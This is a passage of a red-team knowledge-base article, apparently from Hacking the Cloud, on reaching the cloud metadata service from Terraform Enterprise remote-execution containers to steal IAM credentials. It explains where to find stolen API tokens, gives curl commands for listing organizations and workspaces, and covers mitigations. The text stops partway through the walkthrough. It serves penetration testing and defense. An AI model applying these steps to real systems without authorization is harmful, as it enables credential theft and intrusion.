<span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5 checked> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=true> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#remote-code-execution class=md-nav__link> <span class=md-ellipsis> Remote (Code) Execution </span> </a> </li> <li class=md-nav__item> <a href=#docker-containers-and-metadata-services class=md-nav__link> <span class=md-ellipsis> Docker Containers and Metadata Services </span> </a> </li> <li class=md-nav__item> <a href=#attack-prevention class=md-nav__link> <span class=md-ellipsis> Attack Prevention </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> <nav class=md-nav aria-label=Walkthrough> <ul class=md-nav__list> <li class=md-nav__item> <a href=#acquire-a-terraform-api-token class=md-nav__link> <span class=md-ellipsis> Acquire a Terraform API Token </span> </a> </li> <li class=md-nav__item> <a href=#identify-the-organization-and-workspace-names class=md-nav__link> <span class=md-ellipsis> Identify the Organization and Workspace Names </span> </a> </li> <li class=md-nav__item> <a href=#configure-the-remote-backend class=md-nav__link> <span class=md-ellipsis> Configure the Remote Backend </span> </a> </li> <li class=md-nav__item> <a href=#initialize-the-backend class=md-nav__link> <span class=md-ellipsis> Initialize the Backend </span> </a> </li> <li class=md-nav__item> <a href=#executing-code class=md-nav__link> <span class=md-ellipsis> Executing Code </span> </a> </li> <li class=md-nav__item> <a href=#terraform-plan class=md-nav__link> <span class=md-ellipsis> Terraform Plan </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#remote-code-execution class=md-nav__link> <span class=md-ellipsis> Remote (Code) Execution </span> </a> </li> <li class=md-nav__item> <a href=#docker-containers-and-metadata-services class=md-nav__link> <span class=md-ellipsis> Docker Containers and Metadata Services </span> </a> </li> <li class=md-nav__item> <a href=#attack-prevention class=md-nav__link> <span class=md-ellipsis> Attack Prevention </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> <nav class=md-nav aria-label=Walkthrough> <ul class=md-nav__list> <li class=md-nav__item> <a href=#acquire-a-terraform-api-token class=md-nav__link> <span class=md-ellipsis> Acquire a Terraform API Token </span> </a> </li> <li class=md-nav__item> <a href=#identify-the-organization-and-workspace-names class=md-nav__link> <span class=md-ellipsis> Identify the Organization and Workspace Names </span> </a> </li> <li class=md-nav__item> <a href=#configure-the-remote-backend class=md-nav__link> <span class=md-ellipsis> Configure the Remote Backend </span> </a> </li> <li class=md-nav__item> <a href=#initialize-the-backend class=md-nav__link> <span class=md-ellipsis> Initialize the Backend </span> </a> </li> <li class=md-nav__item> <a href=#executing-code class=md-nav__link> <span class=md-ellipsis> Executing Code </span> </a> </li> <li class=md-nav__item> <a href=#terraform-plan class=md-nav__link> <span class=md-ellipsis> Terraform Plan </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/terraform/terraform_enterprise_metadata_service.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Terraform Enterprise: Attack the Metadata Service</h1> <p><a href=https://www.terraform.io/enterprise>Terraform Enterprise</a> is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.</p> <p>If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.</p> <p>"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (<a href=https://www.terraform.io/enterprise/system-overview/security-model#restrict-terraform-build-worker-metadata-access>source</a>)</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.</p> </div> <h2 id=remote-code-execution>Remote (Code) Execution<a class=headerlink href=#remote-code-execution title="Permanent link">&para;</a></h2> <p>For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a <code>terraform apply</code> or <code>terraform plan</code> all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)</p> <p>An exciting feature of Terraform Enterprise (and Cloud) is the idea of <a href=https://www.terraform.io/cloud-docs/overview#remote-terraform-execution>Remote Execution</a>, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In <a href=https://www.terraform.io/enterprise/install/interactive/installer#alternative-terraform-worker-image>Terraform Enterprise</a> however, it takes place in "disposable Docker containers". </p> <p>This introduces an interesting opportunity; If you compromise credentials to initiate a <code>plan</code> or <code>apply</code> operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>It is possible to disable Remote Execution via a configuration however this is <a href=https://www.terraform.io/cloud-docs/run#disabling-remote-operations>discouraged</a>. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."</p> </div> <h2 id=docker-containers-and-metadata-services>Docker Containers and Metadata Services<a class=headerlink href=#docker-containers-and-metadata-services title="Permanent link">&para;</a></h2> <p>Aside from <a href=https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation>container escapes</a>, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Instance Metadata Service</a>. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.</p> <p>Other opportunities include things such as the instance <a href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ >user data</a>, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).</p> <h2 id=attack-prevention>Attack Prevention<a class=headerlink href=#attack-prevention title="Permanent link">&para;</a></h2> <p>It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of <a href=https://www.terraform.io/enterprise/system-overview/security-model#restrict-terraform-build-worker-metadata-access>restrict_worker_metadata_access</a> in the Terraform Enterprise settings. This is <strong>not</strong> the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.</p> <p>The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>IMDSv2</a> in an AWS situation would prevent the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Docker container from reaching the Metadata Service</a>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.</p> </div> <h2 id=walkthrough>Walkthrough<a class=headerlink href=#walkthrough title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>Pull Requests</a>!)</p> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you already have a configured and initialized Terraform backend, you can skip to the <a href=#executing-code>Executing Code</a> section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.</p> </div> <h3 id=acquire-a-terraform-api-token>Acquire a Terraform API Token<a class=headerlink href=#acquire-a-terraform-api-token title="Permanent link">&para;</a></h3> <p>To begin, you'll first need to 'acquire' a <a href=https://www.terraform.io/cloud-docs/users-teams-organizations/api-tokens>Terraform API Token</a>. These tokens can be identified by the <code>.atlasv1.</code> substring in them.</p> <p>As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in <code>~/.terraform.d/</code>, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.</p> <h3 id=identify-the-organization-and-workspace-names>Identify the Organization and Workspace Names<a class=headerlink href=#identify-the-organization-and-workspace-names title="Permanent link">&para;</a></h3> <p>With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as <a href=https://stedolan.github.io/jq/ >jq</a> to parse and display the JSON.</p> <div class=highlight><pre><span></span><code>curl -H &quot;Authorization: Bearer $TFE_TOKEN&quot; \
 https://&lt;TFE Instance&gt;/api/v2/organizations | jq
 </code></pre></div> <figure> <p><a class=glightbox href=../../images/terraform/terraform_enterprise_metadata_service/get_organization.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Getting the Organization" loading=lazy src=../../images/terraform/terraform_enterprise_metadata_service/get_organization.png></a></p> </figure> <p>Next, we need to identify a <a href=https://www.terraform.io/cloud-docs/api-docs/workspaces>workspace</a> we can use. Again, this can be quereyed using the organization <code>id</code> we gathered in the previous step.</p> <div class=highlight><pre><span></span><code>curl -H &quot;Authorization: Bearer $TFE_TOKEN&quot; \
 https://&lt;TFE Instance&gt;/api/v2/organizations/&lt;Organization ID&gt;/workspaces | jq